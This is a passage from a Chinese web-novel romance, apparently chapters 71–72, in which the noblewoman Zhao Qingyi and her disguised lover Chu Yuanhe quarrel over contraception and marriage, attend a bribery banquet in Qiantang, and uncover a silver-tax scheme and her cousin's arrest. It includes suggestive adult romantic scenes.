赵清仪彻底溃不成军,细碎的哭吟难以抑制,香汤在这场角逐中翻涌晃动,几乎撒了一半出去。 “夫、夫君……” 她慌忙改口,泪水顺着绝美的脸庞滑落,宛若被疾雨打落的娇花,只余一抹狼狈的艳色。 换来的却是更凶悍的摧折,水声淋漓,淹没在已然凉透的浴桶中。 楚元河隐忍着叹出口气,险些被绞杀的指节再度抚上她的脸颊,拨开湿黏的鬓发,细细摩挲算是安抚。 待她的哭声渐渐弱了下去,他才将她抱出,用干布仔细擦拭完身上的水渍,重新塞进被褥里。 赵清仪已顾不上羞赧,还沉溺在余韵中缓不过来。 楚元河却更觉煎熬,又是一声轻叹,默默收拾残局,将她浸在桶中的衣裙捞上来拧干,搭在置衣架上铺开,就连小衣也用铜盆里的水认真搓洗,结果才搓两下,就听“刺啦”一声脆响,那娇贵又薄如蝉翼的料子竟在他手里裂作两片。 楚元河怔住,“夫人,这……” 他真不是故意的。 赵清仪索性闭眼,背过身去。 楚元河只好把她换下来的所有衣物重新浆洗一遍,这次倒是掌控好了力道,待一切收拾妥当,那股邪火仍在体内灼烧。 原本是想让她先舒坦了再……眼下这情形…… 目光掠过赵清仪单薄的背影。 ……罢了。 楚元河熄了烛火,小心翼翼躺在她身侧,盯着头顶的床帐毫无睡意。 驿站的房间狭小,床榻更是逼仄,二人几乎贴在一处,赵清仪能清晰感知到他身上那股迟迟未褪的灼热。 “……” 她犹豫许久,终是转过身,主动环住他精壮的腰身。 楚元河身体一僵,随即眸光大亮,侧过身,温热的额头抵着她的眉心,嗓音低哑,“还想要?” 她鲜少主动,热情回应的次数亦屈指可数,大多时候,还是他追逐着她。 赵清仪微愣,好在吹了灯,黑暗遮掩了她瞬间涨红的脸颊。 她只是想起他教过的“两情相悦”,既然相悦,就不该只她一人贪欢,柔夷便顺着他的胸膛而下,却是惹了误会。 楚元河立时精神抖擞,掀开衾被将她压在底下,低沉的嗓音难掩雀跃,“不必撩拨了,现在就可以。” 赵清仪就知道,这人给他点颜色便能开染坊! 她扯回被子挡在身前,美目噙着水光瞪他,“明日有要事。” “明日事,明日忧。”这借口早被楚元河听腻了,他紧绷着身子喘道,“我悠着点就是,不会起不来的……” 赵清仪不是没动心,只是…… 落脚的驿站太过偏僻,“这里没有避子汤。” 她到底还记得她们的关系,楚元河只是她的外室,也仅仅是外室而已,并非因她动情时唤了几声“夫君”,她们便真成了夫妻。 她不能怀他的孩子,或许准确来说,是她不能怀上任何人的孩子。 楚元河似乎从未考虑过有孕之事,乍然听她用柔和的嗓音说出这般冷冰冰的话,便犹如兜头浇了一盆冷水。 他恍然想到上次花神宴的事,“那次……你也服了避子汤?” 那日双双失控,他记得在她体内留了不少,后来赵清仪腹中并无动静,他只道并非次次皆能成孕,万万没想过是她服用了避子汤。 那般伤身之物…… 赵清仪低低嗯了一声,未再多言。她向来谨慎,不敢去赌那个万一,还是服了避子汤妥帖些。 楚元河薄唇紧抿,沉默着从她身上退开,兀自躺回原处,眼底掠过自嘲。 心底那簇炽热的火焰骤然被这盆冷水浇灭,只余一片冰凉死寂。 赵清仪察觉到他周身散发的低气压,估摸着是因为不能行房,他不高兴了? 想着他此前服侍自己还算到位,她再次侧过身,带着一丝试探的柔软,“真的……不用我帮你吗?” “不用。”楚元河声音透着无力,到底还是回身轻拥了她一下,“睡吧,不用担心,过会儿它自己就好了。” 说完,他便转向外侧,背对着她,不再如往常那般缠腻。 赵清仪默然片刻,她身无寸缕,若由他抱着怕是更难入眠,到底没再强求,也转向床榻里侧,两人就这么背对背,一夜无话。 连日奔波,赵清仪一宿睡得极为平稳,直至日上三竿才悠悠转醒,此行她与楚元河轻装简行,也未带仆婢随行伺候,凡事需亲力亲为。 她抱着被褥醒来,楚元河已不在屋内,晾了一夜的衣衫整齐地摆放在床头,婢子不在身边,倒是他担起了这份伺候人的差事。 赵清仪穿戴齐整,楚元河方推门而入,手中端着食盘,“先用些早膳垫垫,今日便可抵达钱塘,届时我再给你置办新装。” 不调笑时,他语气一如既往的温和。 赵清仪用膳期时,目光悄然在他脸上流连,他神色如常,瞧不出半分不悦。 用完早膳,简单收拾好东西,楚元河扶着她上了马车,此前为掩人耳目,一路是楚元河亲自驾车,待入了浙江地界,才在当地雇了马夫。 而那马夫实际是楚元河早先安排的暗卫,接头之后,便由他来驾车领路。 车厢里,两人再度陷入沉默,这次楚元河甚至没有挨着她,而是与她相对而坐,手里握着一卷书。 他一反常态,赵清仪再看不出端倪便是真傻了。 “夫君。”她软语轻唤,主动给他斟了一盏清茶。 楚元河握着书,实则心神不宁,听到这声夫君,眉心突的一跳,“……要不我们还是扮兄妹吧。” 再这样下去,他只怕把持不住。 赵清仪沉吟片刻,“你生气了。”是笃定的语气。 “没有。”为免她多心,楚元河微微弯起嘴角,“你怎么会这么想。” “昨儿个夜里你便不虞,若非气恼,又是为何?”赵清仪往他身旁挪近几分,杏眸直勾勾地盯着他,要望入他眼底。 楚元河一转头便能对上她的气息,浅淡的幽香让他心旌一荡,慌忙向旁避让。 赵清仪不依不饶,也跟挪,见他还想躲,干脆劈手夺了他的书丢开,径直跨坐在他腿上,“都这般躲我了,还说你没生气?” 楚元河身子瞬间紧绷如铁,冷汗*从额角滑落,他高举双手,“我真没……” 话音未落,赵清仪已扣住他的手腕,将他按在车壁上。 楚元河一惊,诧异地看向她按住自己的手。 赵清仪紧张得后背都在发汗,却也只能硬着头皮继续,她压住他,学着他无数次戏弄她的样子,俯身在他耳畔。 “那你说,今日究竟为何?是因为昨夜……我拒了你?” 她问的认真,虽然楚元河在她这里,是见不得光的存在,可她是喜欢他的,既然喜欢,必然在乎。 楚元河看着自己的手,再对上她近在咫尺的认真眉眼,既好气又无奈,“赵清仪,你是存心要我的命?” 赵清仪愕然,“这是什么话?” “你这般撩拨于我……”楚元河桃花眼眯起,神情顿时锐利起来,“荒郊僻野,可没有避子汤给你喝。” 若是他自讨苦吃,他认了,现在却是赵清仪步步紧逼,撩得他心头火气,撩完又躲开,他还不能拿她如何,这不就是要他命吗? 赵清仪面上掠过一丝羞愧,“你别急,等到了钱塘,我们再……” 到了地方,抓几副汤药也是方便的。 “别想了。”楚元河挣开她,将她从身上抱下去,“那避子汤岂能日日饮用,你当是滋补良药?” 赵清仪感觉自己就是那棵墙头草,他说什么就是什么,听罢也觉得有理,可是…… “……偶尔为之,应无大碍?” 她不想做那个不知好歹的人,她也希望楚元河与她在一起时是欢愉的。 况且,她近日身子养得不错。 赵清仪牵过他的手,引他环上自己的腰,“你摸摸,都长肉了。” 赶路这半月余,虽无檀月俏月服侍她的起居,但楚元河是个极周到又能忍耐的人,或许是得益于他曾在西北军营待过,再苦再累的日子也过得,赵清仪便没吃什么苦头。 女子的手格外绵软,牵引着他,将他的掌心按在腰侧,赵清仪从来不是弱柳扶风的美人,尽管如此,腰肢在他掌下依旧显得格外纤细,不盈一握。 楚元河忍者掐断她小腰的冲动,额角青筋直跳,“我还是出去赶车吧……” 不然真死她手里了。 赵清仪陡然拔高声调,“还说你不是生气?”都不愿与她同处一个马车了。 外头驾车的暗卫惊得手一抖,马车随之颠簸,赵清仪的后脑勺险些撞上车壁,好在楚元河眼疾手快,大掌稳稳垫在她脑后。 他索性维持这个姿势,咬牙切齿道,“我算什么身份,我敢生你的气?” 他生自己的气罢了,总是自以为是,一厢情愿,外室就是外室。 赵清仪扶稳发髻,抬头看着面前的男人,想了想,抱住他的腰,“你若没生气,那你亲亲我。” 听多了楚元河的孟浪之语,如今她也能依葫芦画瓢,尽管这话说出口时,她已是红霞满面。 “……” 有一瞬间,楚元河很想不管不顾放肆一回,好让她后悔此刻的不知死活,可他渴求的不仅仅是肌肤之亲,他缺的是一个名正言顺的身份。 赵清仪显然没想过给他名分,只是贪这一时半刻的欢愉,从未想过与他天长地久。 楚元河果断推开她,“一会儿下了马车,我便是你兄长。”省得她再明目张胆的撩逗他。 “你当真要如此?” “当真。”楚元河斩钉截铁,他宁可不再碰她。 赵清仪不再说话,行至钱塘时,她无视楚元河递来的手,径自跃下马车。 县丞是个年纪不到三十的年轻人,一袭深蓝官袍,通身的书卷气,领着二十余名衙役侯着,冲楚元河躬身施礼,“下官钱塘县丞周珣,拜见大人。” 另有一个大腹便便的中年男人,满脸堆笑上前,“下官是本县主簿,恭迎大人,大人这一路困乏了吧?”态度明显谄媚得多。 楚元河微微颔首,那主簿便腆着笑脸上前想帮他拎包袱。 “不必。”楚元河手腕一转将包袱撇向身后,那里头是赵清仪的衣物,岂能假手旁人。 主簿讪笑两声,目光转眼看向赵清仪,豆大的眼睛一亮,“这位夫人是?” 因为是扮作夫妻,赵清仪梳的是妇人发髻,刚想表明身份,楚元河就抢在前头,“舍妹而已,刚死了丈夫。” 赵清仪:“……” 70-80 第71章 第71章她果然醋了。 赵清仪胸口一阵起伏,勉强压下那股火气,一把从他手里夺过包袱。 县衙众人面面相觑,那主簿的视线在二人脸上逡巡,他阅人无数,直觉这两人绝非寻常兄妹。 他探究的目光太过明显,楚元河扫了他一眼,主簿复又嘿嘿笑道,“官舍都已洒扫干净,大人与元姑娘早些歇息。” 楚元河此次微服出巡化名元姓,赵清仪是他妹妹,自然也姓元。 两人一前一后步入官舍,待他们身影消失,那主簿脸上的笑意才淡下来,捋着两抹八字胡若有所思。 衙役们忙前忙后安顿,起先他们以为来的是县令夫妻,便只收拾了一间屋子,没成想来的不是两口子,而是兄妹,只好仓促将主屋旁边的西厢房腾出来,许多东西来不及添置。 楚元河知赵清仪起居上讲究又娇气,便将主屋让给她。 谁知赵清仪并不领情,“不需要,隔壁屋子就很好。” 衙役退下后,她拎着包袱进屋将房门反锁。 楚元河欲言又止,但想到昨晚的事,到底没追上去,转头进了自己屋里。 赵清仪落闩后,还想等他过来哄两句,结果只听到隔壁房门开合的声音,胸口立时又赌了口气,索性钻进床榻蒙头大睡。 收拾好东西,天色尚早,楚元河打算带她去置办新的衣裳首饰,敲了好几下门,里头皆无回应,无奈之下,他只好避开县衙里的耳目伺机跳窗进去。 才进到屋里,赵清仪便从榻上起来,径直走向房门欲避开他。 楚元河快步追上,握住她纤细的手腕,“般般……” “兄长这般怕是不合礼数。”赵清仪拂开他,兀自整理袖摆,又将房门敞至最大,方回头淡淡道,“兄长有何吩咐,但说便是。” 楚元河瞥了眼远处廊下晃动的人影,“你这是在同我避嫌?”不然没有敞开门说话的必要。 赵清仪眉梢微挑,“兄长乃一县长官,清誉不容有瑕。” 楚元河隐隐觉得,他又一次搬起石头砸自己的脚了。 “……也罢,听你的就是。”又拿出一包银子,在手里掂了掂,“去给你置办东西,走吗?” 赵清仪不太想和他一起,但考虑到自己人生地不熟的,勉强“嗯”了声。 兄妹俩前后脚出了官舍,走出一段距离,楚元河便借着回头与赵清仪说话的间隙,眼角余光掠过县衙大门,发现有个脑袋正畏畏缩缩地探看。 这钱塘县的水果然深得很,小小县衙就藏了不少牛鬼蛇神。 楚元河唇角勾起一抹讥讽。 赵清仪未曾察觉,她出来仓促,缺的东西不少,又不知要在这里待多久,眼下只顾采买,大包小包尽往楚元河怀里塞,对方只能巴巴的跟在后头付账。 赵清仪又进了一家成衣铺子,她名下也管着不少铺子,习惯使然,让她每入一家铺子必先打量货物陈列。 这家成衣铺的料子她瞧着熟悉,像是孟家产的绸缎制成。 “贵店东家可姓孟?” 掌柜含笑摇头,“我们东家姓江。” “江?”赵清仪疑惑,再次细看手里的衣衫料子,的的确确是孟家所产,怎么会姓江。 “不知这江家是何来头?” 掌柜一听就知她是外地来的,便滔滔不绝讲起江家,原来的江家的确是依附孟家而活,然近些时日,江家得了岐王青睐,自立门户结成商会,拥趸者众。 短短数月,江家便在岐王的扶持下,一跃成为钱塘乃至整个杭州首屈一指的大商会,在钱塘地界,提起江氏商会,那是无人不知无人不晓。 所谓强龙不压地头蛇,饶是皇商孟家在当地也得避其锋芒,不少同盟已转投江氏麾下。 赵清仪听到“岐王”二字,心顿时沉了沉,岐王狼子野心,此行怕是不好善了。 楚元河的神色也凝重起来。 恰在此时,几个衣着光鲜的乡绅涌入店中,为首者满脸堆笑,冲楚元河连连作揖,“不知元大人大驾光临,在下有失远迎!” 掌柜见了忙唤“东家”。 楚元河了然,“阁下便是江员外?” 江员外面露讶色,“大人竟识得在下?” 之后便是一番客套的寒暄,十几号人围着楚元河七嘴八舌问安。 赵清仪险些被挤出人群,幸而楚元河眼疾手快,在她腰后扶了一把,众人这才注意到她,略略退开半步。 江员外连连陪笑,“在下今夜在庄子上略备薄酒,为大人接风洗尘,还望大人赏光。” “江员外盛情相邀,本官岂能推却?”楚元河笑容和煦,端的是无害可亲。 没想到这新到任的县令大人如此“上道”,随行同来的商贾们个个喜形于色,为讨好楚元河,还让掌柜依着赵清仪的身量,挑了最时新的衣裳送去县衙。 再三确认楚元河会赴宴,江员外等人才如潮水般退去。 出了成衣铺,赵清仪惊疑不定道,“这是鸿门宴吧?” 既提到岐王,江员外此举无非是想拉拢他们入局,若是拉拢不成,大抵他们就会和前几任县令一样,死得悄无声息。 楚元河微微挑眉,不置可否。 回到官舍,他换了身藏青色直裰,腰间扎条同色银丝蛛纹带,墨发束起,只以一支简单的木簪固定,收敛了往日玩世不恭,通身气度越发矜贵端方,颇有几分君子如玉之风。 赵清仪本不欲赴宴,楚元河不放心她一个人待在县衙,她只能同行。 临行时,楚元河下意识要去挽她的手。 赵清仪轻咳一声。 他才恍然想起,他们现在是兄妹来着,“……” 考虑到她们的关系,江家特意安排了两辆马车过来接人,赵清仪自觉要上后头那辆,硬是被楚元河拽到前头。 来接人的仆从惊讶了一瞬,这…… 楚元河面不改色,“舍妹怯生,不喜独处。” 仆从们还想说什么,楚元河已经拽着赵清仪进了同一辆马车,他们也不好上前阻拦,只能作罢。 车厢内,赵清仪甩开他的手,“做戏要做全,你好歹要有个做兄长的样子,大庭广众拉拉扯扯,别人指不定怎么想……” “管他们怎么想。”楚元河说不上来的烦躁,“这江家来者不善,你不能离开我视线半步。” 江家的安排看似礼数周全,可谁知道对方安的什么心思,万一马车在半道分开,后果不堪设想。 “……知道了。”赵清仪别扭地转过身去。 车轱辘缓缓滚动起来,汇入了热闹的集市,行了约莫一刻钟,周遭再度安静下来。 楚元河打起帘子时,马车正好停在一处庄子前。 庄内仆从早已恭候,“元大人请。” 下了马车,方知这看似偏远的庄子别有洞天,一进朱门,奢靡浮华之气扑面而来,雕梁画栋,金砖碧瓦,饶是去过皇宫的赵清仪都不免惊叹江家的奢侈,这还仅仅是他们名下的一处庄子。 前来迎客的是两个年轻貌美的婢子,皆衣饰清凉,眼波流转,尤其看向楚元河的目光格外热烈。 赵清仪略感不适,随楚元河步入宴厅。 楚元河察觉这庄子四周有不下百名侍卫把守,若谈不拢,恐怕不好脱身。 宴厅之内歌舞升平,管弦呕哑,刚踏入,便有异域舞姬赤足踏着满地珠玉而来,舞袖翻飞,裹挟着甜腻的脂粉香气卷向楚元河面门。 楚元河下意识侧身躲避,舞姬扑了空,再度踏着鼓乐朝他舞去。 满堂宴饮之人皆停下动作,目光灼灼地盯他的一举一动。 楚元河不好再出手,当即脚下踉跄,故作惶恐地躲到赵清仪身后,舞姬甩出的长袖便轻飘飘落到赵清仪怀里。 舞姬两次出手不中,悻悻抽回袖子转到正主江员外跟前,娇笑声宛若银铃。 江员外却冷脸呵斥,“怎么跳的舞,险些惊吓了元大人!” 前一刻还媚态横生的舞姬,下一刻就被侍卫押解跪地,惶恐求饶。 江员外也换了一副谄媚的笑脸迎上来,“多谢元大人赏光,快请上座。” “江员外客气。”楚元河捋捋袍子上的褶皱,笑着与之寒暄,走出两步,又回头冲呆愣的赵清仪喊道,“妹妹,还不跟上?” 江员外忙不迭附和,“对对,快给元大人边上添副碗筷。” 落座后,歌舞再起,江员外亲自往楚元河的琉璃盏中斟酒。 “大人尝尝,这可是西域方有的葡萄酒酿,色泽如血,酒气醇香,实乃难得的佳酿。”复又压低声神神秘秘道,“听闻……这还是贡品呢,别处可尝不到的。” 楚元河举着琉璃盏,一闻便知江员外所言不虚。 这江家不简单,连进贡给帝王的御酿都能弄到。 闲话几句,江员外便借机试探楚元河的立场,珍馐美馔,名贵字画,金银玉器如流水般送到他面前。 楚元河一一笑纳,末了,江员外又示意他看那个跪伏在地,瑟瑟发抖的舞姬。 楚元河心知肚明,江员外无非是用酒气财气贿赂他,前头的无关紧要他笑纳便是,可这舞姬……怕是江家安插在他身边的眼线。 他下意识看向身边的赵清仪。 对方垂着眼睫,慢条斯理啜着杯中酒,让人分辨不清她脸上神情。 江员外察觉到他二人气氛微妙,朗声笑道,“原来大人是顾忌妹妹,大人下榻的官舍是窄仄了些,不甚方便,在下倒是还有一处清净又宽敞的别院……” 横竖这美人是必须要送出去的。 他光收了金银财宝可不行,身边没个人监视自己,江员外岂能安心? 楚元河心知肚明,什么美人,细作还差不多,这样的手段,过去在军营里他见多了。 “那便……却之不恭了,不过别院就不必了。”楚元河举杯,含笑应承。 赵清仪一直在偷偷关注他那边的动静,闻言难以置信地瞪着他,对方佯装看不见,只顾与江员外把酒言欢。 尽管猜测楚元河此举别有用意,可赵清仪看到那舞姬,心里还是不舒坦,像是堵了团棉絮,说不出的烦躁。 他居然就这么答应了? 那舞姬岂不是要带回官舍? 官舍这么小,舞姬宿在何处?与他同室吗? 赵清仪越想心越乱,一杯接一杯的琼浆玉液滑入腹中。 同样坐立不安的还有另一人,县丞周珣霍然起身,“下官身子不适,告辞了!” 他位卑言轻,既拗不过权势滔天的岐王,也得罪不起为岐王效力的江员外,每每遇到这种场合,他都是被强架着来的,这样的日子他过够了,原以为朝廷派来的新县令会是个刚正不阿的好官,未料竟……竟然…… 周珣前所未有的绝望。 新县令如此,还有谁能与他站在一处,维系这片官场的清明? 强大的无力感席卷了他,周珣索性连表面功夫都不做了,欲拂袖而去,门口的侍卫当即阻拦。 楚元河淡淡开口,“让他走。” 江员外略一思忖,示意侍卫放人,横竖已拉拢了新县令,这位不识趣的周县丞……自有料理的时候。 至于那舞姬,听闻楚元河肯收自己,立时转忧为喜,媚眼如丝,更加卖力地扭动起舞姿朝他身上贴去。 赵清仪越看越烦躁,许是酒意上头,酒壮人胆,她鬼差神使般倏然起身,猛地推开楚元河。 等她反应过来时,舞姬曼妙的身段转了半个圈,已然软倒在她怀里。 美人投怀,楚元河注定是无福消受了。 舞姬发觉扑错了人,脸上的媚笑僵了一瞬,急忙要从赵清仪身上弹开。 赵清仪尤未觉察,醉得双颊酡红,一双杏眸瞪得溜圆,显出几分少见的憨态,手劲却不小,死死抱着那舞姬不肯撒手。 江员外惊住了,“这……” 楚元河意识到某人是打翻了醋坛,眼底立时浮现起一丝笑意,赶紧揽过江员外打起了岔,不想太多人关注赵清仪。 席上却有不长眼的乡绅,借机调侃起来,“听闻元大人的妹妹新寡,不知可有再醮之意?” 江员外立足钱塘,来往者三教九流,席间上自有这等不知礼数的狂徒。 另一人更是口无遮拦,“咱们岐王殿下素来爱美人,大人的妹妹虽是寡居,可这寡居之人,也别有一番风韵……” 他们这些人想求得岐王庇佑,得先递上投名状,或如江家付出的大半家财,亦或是被拿捏住把柄…… 总之只有捆在一条绳上,彼此才有信任可言。 目前看来,楚元河只有一个妹妹拿得出手,若能舍得妹妹换取前程,将来他们便是同路人了。 然而那人话音未落,一支玉箸凌空射出,“啪”的击碎了他手里的酒壶,酒液与碎片飞溅,吓得他一屁股跌坐在地,若非他拎着酒壶,只怕那玉箸就要扎进他眼睛里。 楚元河面上虚伪的笑意彻底收敛,捏着琉璃盏的指节微微泛白,“岐王爱美人,又与我妹妹有何干系?” 江员外一直以为他就是个手无缚鸡之力的文官,不曾想还有这等身手,脸色变了又变,到底生出几分忌惮。 楚元河目光如刀,“江员外的人若再对我妹妹出言不逊,今日之事,便到此为止。” “是是是!”江员外忙点头哈腰地打圆场,这事儿才勉强揭过去。 楚元河却已无心逗留,这场宴席背后的意图他已看清,既有心拉拢,一时半刻就不会与他撕破脸。 楚元河拽过赵清仪的胳膊,“天色不早,本官就先告辞了。” 江员外谨记岐王与李大人交代的差事,不敢怠慢,忙令美婢相送,就连那舞姬也一并塞入马车。 马车空间不大,三人挤在一起便显得拥挤。 舞姬牢记自己的使命,娇滴滴地唤了一声“大人”,便欲挨着楚元河坐下。 赵清仪借着醉意,不管三七二十一,直接抢了中间的位置紧紧挨着楚元河。 这是她的外室,纵是名不正言不顺跟了她,那也是她的,卧榻之侧岂容他人鼾睡? 舞姬碰了个软钉子,娇哼一声,挨着楚元河另一侧坐下。 “……” 赵清仪暗暗攥紧了手,这舞姬竟还不走。 瞧她眸中愠色更盛,楚元河怕她发作,当机立断,并拢双指迅速在舞姬颈后一点。 舞姬原本还想与他亲近,被这一点嘤哼出声,身子便软软瘫倒下去。 楚元河将人推到角落,这才敢小心翼翼靠近赵清仪,去勾她的小手,“好了,都是我的错……” “别乱动!”赵清仪打了他不安分的手,神情严肃,“有你这般做兄长的吗?” 楚元河一愣,“都结束了,还这般入戏?” 结束了? 赵清仪用力揉着酸胀发晕的额角,面上愠怒之色略有缓和,只是眸底还噙着几分朦胧的醉意,对眼前的情形似乎还后知后觉中。 楚元河恍惚记起初次与赵清仪吃酒的场面。 那酒品……实在不敢恭维。 赶紧扶住她微晃的肩,将人揽抱在腿上,圈在怀中温言安抚,顺便解释自己迎合江员外的原因。 赵清仪的脑袋时而清醒,时而迷糊,并未听清他说了什么,只觉模模糊糊的视线里,他的唇一张一合,引人遐想。 许是吃酒的缘故,唇上染了些许胭脂色,湿润鲜红,那副清俊的装束已然压不住他的邪气。 赵清仪心脏莫名跳得极快,眸色逐渐迷离…… “夫君?” 她低低唤了声,嗓音里带着酒后的温软。 楚元河身子微僵,余下的话戛然而止。 “……你说什么?”他俯身,想听得更真切些。 赵清仪眨了眨眼,抬手,指尖轻轻抚过他的唇,浅淡的馨香自她指尖肌肤幽幽散开。 楚元河心弦一颤,低垂视线,将她双颊酡红,眼波莹莹的的醉态尽收眼底。 “夫君……” 赵清仪又喊了一声,醉醺醺道,“我……我不喜欢那个舞姬……” 果然是醋了。 楚元河眼底盛满笑意,“为何不喜欢她?她今日……得罪你了?” 为何…… 赵清仪想了想,脑袋又开始隐隐作痛。 还能为何……她就是不喜欢,谁来了都不喜欢。 他问这么多做什么? “你、你好烦……话真多……” 伴着短促的喘息,抚过他薄唇的手猛然勾住他的领口,赵清仪仰起脸,带着不容拒绝的占有吻了上去。 第72章 第72章她想和他亲密。 马车在夜色中颠簸前行,车厢内的气息黏稠好似化不开的蜜糖,又带着酒香氤氲的微醺。 楚元河怔愣着,那柔软的唇并非一触即离,反而因为他的不抵抗愈加深入。 勾住他衣襟的手指再次用力,将他拉向自己,赵清仪无意识地轻哼两声,她的吻更是带着醉酒后的懵懂与娇蛮,在他唇间肆意啃噬。 起初略显笨拙,仿佛仅仅是为了宣告主权,急切的与他厮磨,生涩又大胆地撬开他因惊愕微启的齿关。 楚元河情不自禁地溢出一声闷哼,所有试图克制的念头,在这个主动又热烈的吻中焚烧殆尽。 什么名不正言不顺的身份,什么避子汤,什么江家舞姬,在此刻统统化为乌有。 他什么都不愿想,反客为主的冲动如同决堤的洪水,瞬间席卷了他。 楚元河几乎是立即回应了这个吻,甚至比她的情愫还要汹涌,他一手托着她纤细的后颈,一手紧紧环住她的腰肢,将她牢牢锢在怀里。 唇舌亦不再是温柔的安抚,而是攻城略地般的强夺,带着积压已久的渴望与之纠缠,交换彼此的气息。 赵清仪以往是承受不住的,然而酒意上头,面对他的强势回应,她不退反进,攀附着他肩膀的细指收紧。 “夫君……”喘息间,她小声啜泣,“不要生气了……我们继续扮作夫妻好不好?” 她想和他亲密,也不愿看到别的女人靠近他。 楚元河很无奈,不曾想她还记着那件事,“我没生气,只是不想你受伤。” 此前他一直把事情想得太简单,自认为有承担后果的勇气,只要赵清仪愿意,他随时可以风光迎娶,给她至高无上的尊荣,即便有了孩子,他养着就是,堂堂帝王,又不是要不起几个皇子公主。 可现实却狠狠给了他一巴掌,他在她眼里,仅仅是一个不能见光的外室。 他至今不曾坦白身份,她也不曾想过嫁他。 欢好过后,她想是避子汤,既如此,又何必要走到那一步,落得伤人伤己。 “般般,我想与你长长久久。”他俯身,与她额头相抵,良久,缓缓问道,“回京之后,你嫁我可好?” 赵清仪迷迷糊糊的,只剩本能驱使她在他怀里蹭了蹭,显然不太清醒。 也不知是真听不见,还是装听不见。 “……” 楚元河叹了口气,托着她的后腰将她身子扶正。 赵清仪躺在他腿上挺舒坦的,被迫坐直起来,她蹙眉,不安地扭动着,口中呐喃,“你……你怎么不亲我了?” 小手又探向他的衣襟往两边撕扯,一副山不来见我,我自去见山的架势。 楚元河那股堪堪压下的火气又被她勾动起来,他推着埋在他锁骨处的小脸,“别胡闹了。” 赵清仪哪里听过重话,尤其还是从他嘴里说出来,一整日的委屈顷刻爆发,豆大的泪珠啪嗒啪嗒地落。 她觉得楚元河变了,他从来不会拒绝她的。 难道,就因为昨晚…… 赵清仪脑中挣扎,很快便下了决心,开始解自己的衣裳。 楚元河一脸愕然,赶紧把她滑落半截的衣裳拢回去,脸色不自觉凝重三分。 这还是在马车里! “你究竟吃了几盏酒?” 看来以后不能纵着她胡乱吃酒了,这得喝多少才会如此神志不清。 “也、也不多……” 她竖起三根手指,“就……两杯?” 楚元河:“……” 赵清仪不想纠结这个问题,继续解衣裳。 她的小外室生气了,她哄一哄就好了,这是她的诚意。 楚元河试图阻止,闹了好半晌对方都没有停下的意思,他干脆抽出腰带将她两只纤细白皙的手腕捆了起来。 这下赵清仪的手动不了,只能歪在他肩头呜呜啜泣,口中反复呢喃的只有“你生气了”四个字。 她闹腾得厉害,狭窄的车厢因为她的闹腾不时传出闷响。 驾车的马夫是江家人,听到折腾的动静和女子的啜泣,脸上全是促狭的笑,暗道这元大人还真是荤素不忌,当着妹妹的面就迫不及待与那舞姬…… 看来这元大人也不是什么好官,他回头好和江员外复命去了。 赵清仪闹了一会儿,最后还是敌不过困意,就这么绑着双手歪在楚元河身上睡着了,肩头还披着他宽大的罩衫。 回到县衙,几个衙役出来迎接,就看到楚元河抱着自家妹妹先从车里下来。 赵清仪小脸埋在男人胸膛里,罩衫将她全身裹得严严实实,任谁也瞧不出她的端倪。 衙役们略感诧异,马夫也有些惊讶,他还以为元大人抱的是舞姬呢。 再一打帘,就看到舞姬躺在角落也昏睡着。 这…… 马夫一时拿不准了。 “我妹妹吃醉了酒,我得照顾她,劳烦你们送那姑娘下去歇息。”楚元河的话也没什么纰漏,舞姬和自家妹妹,当然是妹妹重要,况且衙门里都是一帮臭男人,也没个伺候人的丫头,总不能把妹妹交给别人照顾。 衙役们连忙应是,小心翼翼搀着那舞姬下来,扶到后院的厢房里,之后就默契地退下。 等元大人安置好了妹妹,说不准又要与那舞姬厮混,他们守在这里,不合适。 就在后院大门关上不久,几个暗卫出现,直接将那舞姬扛走,翌日一早,就传出舞姬私逃的消息。 江员外得知此事,当下怀疑是楚元河做的手脚,可询问了马夫,马夫又说昨夜车厢里就有动静,莫非是那舞姬伺候不周到,被楚元河…… 好一个县令,还想和他耍花招。 江员外不屑冷笑,如楚元河这般圆滑,在他面前阳奉阴违的他也不是没见过,既然软的不行,那就来硬的,让这小小县令晓得他的厉害。 — 楚元河上任后,便差周县丞调来钱塘县近些年的卷宗,周县丞待他的态度明显冷淡不少,对他的举动并不抱多少希望。 楚元河一目十行看完卷宗,忽然问起赵怀义,“赵大人是在本县地界失踪的,且是本月刚发生的事,怎么不见相关卷宗?” 周县丞没料到他上来就问赵怀义,没好气道,“卷宗毁了,就在大人到任前几日,存放卷宗的库房离奇走水,许多卷宗没能救回来。” 他的话点到为止,也是想看楚元河接下来的态度,若对方只是来走个过场,注定要与江员外等人同流合污,他也没必要说太多,所谓道不同不相为谋。 楚元河淡淡“哦”了声,继续翻阅余下的卷宗。 周县丞愣了愣,随即气恼,还真是表面功夫,如此敷衍! “赵大人可是当朝阁老,陛下亲点的钦差大臣,来到此地是为造福百姓,如今他失踪了,元大人丝毫不担心吗?” 楚元河没搭腔,周县丞只能咽下这口气,内心绝望渐至麻木。 楚元河眼下要做的事有很多,暂且没闲工夫与人解释,他花了半日将县衙里的卷宗过目一遍,发现凡是要紧大案的卷宗几乎全部损毁,譬如前几任知县离奇死亡的相关事宜已无从查证。 他便将注意力转移到户房,户房存放的黄册与鱼鳞图册是需要呈送入京的,轻易毁坏不得,很快楚元河就从中发现端倪。 按以往惯例,受灾后朝廷通常会免去第二年的赋税,然今年是新政施行的头年,尤其在税法上有了很大变革,楚元河急需验证结果,所以他并未免去钱塘在内的几个富庶州县的赋税,让赵怀义携带密旨前来办差,主打一个出其不意。 可王党手段通天,竟事先知晓他的打算,变着法的在新政底下钻空子,借“折银”之法剥削百姓,通过事先大量囤积白银,迫使百姓贱买粮米丝绢与他们交换白银缴税,兜兜转转,承受一切的依旧是百姓。 新政没能取得应有的成效,百姓该吃的苦一点没少,反而是世家富户趁机大捞民脂民膏,这让年轻的帝王如何能忍? 楚元河脸色逐渐阴沉,祸不单行,他还发现了一桩要紧案子,竟是关乎孟家。 孟嘉文……入狱了。 — “你说什么?” 赵清仪拿着母亲交给她的手令,一路询问关*于孟家的消息,离京之前,母亲特意提醒她若有难处,可寻表哥孟嘉文相助,不曾想她打听一圈,竟得知表哥孟嘉文卷进了走私白银案,早在半月前就被官府带走了。 当今陛下继位后开放海市,只要是得到官府文书认可的商贾皆可下海,孟家身为皇商,几乎年年都有商船出海,一向恪守成规,从无纰漏。 可就在半月前,孟家从海外回来的商船被查出未上报朝廷的白银,数目极大,甚至惊动了知府,那边直接越过钱塘县将人捉拿归案。 赵清仪惊骇不已。 难怪从前依附孟家的商行纷纷转投了江家,原来是为了与孟家划清界限,算算时日,表哥入狱的消息应该已经送到上京了。 